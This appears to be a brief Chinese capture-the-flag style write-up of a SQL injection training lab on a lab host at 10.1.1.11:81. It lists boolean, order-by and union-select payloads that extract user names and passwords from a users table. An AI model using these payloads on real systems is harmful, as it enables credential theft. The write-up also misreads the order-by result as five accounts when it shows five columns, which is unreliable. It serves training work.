合天网安实验室sql注入实验一 WRITE UP

在虚拟机chrome输入靶场网址：

10.1.1.11:81

打开实验一。

 

 

 

 

此时用到语句:       name = root' and '1' = '1

 

 

name = root' and '1' = '2

 

 接下来用order by 语句：

root' order by 4%23
root' order by 5%23
root' order by 6%23

4,5正常，6异常。

即查询出有五个账户。

 

root' union select 1,2,3,4,5 from users%23 root' union select 1,name,passwd,4,5 from users%23

 实验一即以上操作。